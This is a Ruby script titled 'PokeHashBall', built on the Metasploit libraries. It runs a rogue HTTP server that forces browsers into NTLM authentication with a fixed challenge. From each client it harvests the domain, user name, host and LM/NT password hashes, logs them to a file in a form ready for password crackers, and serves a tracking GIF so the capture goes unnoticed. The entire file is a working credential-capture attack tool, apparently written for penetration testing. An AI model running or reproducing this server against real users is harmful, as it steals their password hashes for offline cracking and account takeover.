#!/usr/bin/env ruby

# PokeHashBall! Capture NTLM/LM hashes via HTTP
#
# Output is in Unicode format, you'll need to edit it before using it
# with some password crackers. 
#
# Author: Kurt Grutzmacher <grutz at jingojango dot net>
# Copyright (c) 2007
# Rev history:
#
#   v1.0 - 10/13/07 - initial release! Yay!
#
# NTLM auth over HTTP info:
#  http://davenport.sourceforge.net/ntlm.html          (new)
#  http://www.innovation.ch/personal/ronald/ntlm.html  (old)
# Details when Internet Explorer sends hashes or popup box
#  http://support.microsoft.com/kb/258063

require 'webrick'
include WEBrick

msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), 'lib'))

require 'rex'
require 'msf/core'

class NTLMMessageServlet < HTTPServlet::AbstractServlet
  def do_GET(req, resp)
    if (!req['Authorization'])
      resp['WWW-Authenticate'] = "NTLM"
      resp['Content-Type'] = "text/html"
      resp.keep_alive = false
      raise HTTPStatus::Unauthorized
    else
      ntlmauth = req['Authorization'].split(" ").last
      decode = Rex::Text.decode_base64(ntlmauth.strip)

      type = decode[8]

      if type == 1 then
        puts " -*- Type 1 message seen"
        type2msg = Rex::Proto::SMB::Utils.process_type1_message(ntlmauth, $c['nonce'], $c['domain'], $c['server'], $c['dns_name'], $c['dns_domain'])
        resp['WWW-Authenticate'] = "NTLM #{type2msg}"
        resp.keep_alive = true
        resp.status = 401
      elsif type == 3 then
        puts " -*- Type 3 message seen"
        (domain, user, host, lm, nt) = Rex::Proto::SMB::Utils.process_type3_message(ntlmauth)
        puts "AUTHORIZATION FOUND: #{host}/#{user}:#{domain}:#{lm}:#{nt}"
        fd = File.open("ntlmhttp-output.txt", "a")
        nonce = $c['nonce'].unpack('h*')
        fd.puts("#{host}/#{user}:#{domain}:#{nonce}:#{lm}:#{nt}")
        fd.close
        resp.keep_alive = false
        resp.status = 200
        resp.body = $c['gif']
        resp['Content-Type'] = "image/gif"
      else
        puts " -!- Type #{type}?! That's not a 1 or a 3!"
        resp.keep_alive = false
        resp.status = 200
        resp.body = $c['gif']
        resp['Content-Type'] = "image/gif"
      end
    end
  end
  #alias do_POST, do_GET
end

# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# Main server start
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
puts "PokeHashBall v1.0 - capture NTLM hashes via HTTP\n\n"
puts "(c) 2007 by Kurt Grutzmacher - grutz @ jingojango.net\n\n"

if ARGV.length != 4 then
  puts "Example:"
  puts "\tntlmwebrick 8080 DOMAIN SERVER domain.com\n\n"
  exit(1)
end

$c = {}
$c['port'] = ARGV[0].to_i
$c['domain'] = ARGV[1]
$c['server'] = ARGV[2]
$c['dns_name'] = "#{$c['server'].downcase}"
$c['dns_domain'] = ARGV[3]
$c['nonce'] = "\x11\x22\x33\x44\x55\x66\x77\x88"

# change this to whatever GIF file you want to send out.
fd = File.open("web_bug.gif", "rb")
$c['gif'] = fd.read
fd.close

puts "NTLMwebrick configured as #{$c['server']}/#{$c['domain']}@#{$c['dns_name']}"
puts "nonce = #{$c['nonce'].unpack('h*')}\n\n"
webserver = HTTPServer.new( :Port => $c['port'] )
['INT', 'TERM'].each { |signal|
   trap(signal){ webserver.shutdown} 
}
webserver.mount('/', NTLMMessageServlet)
webserver.start

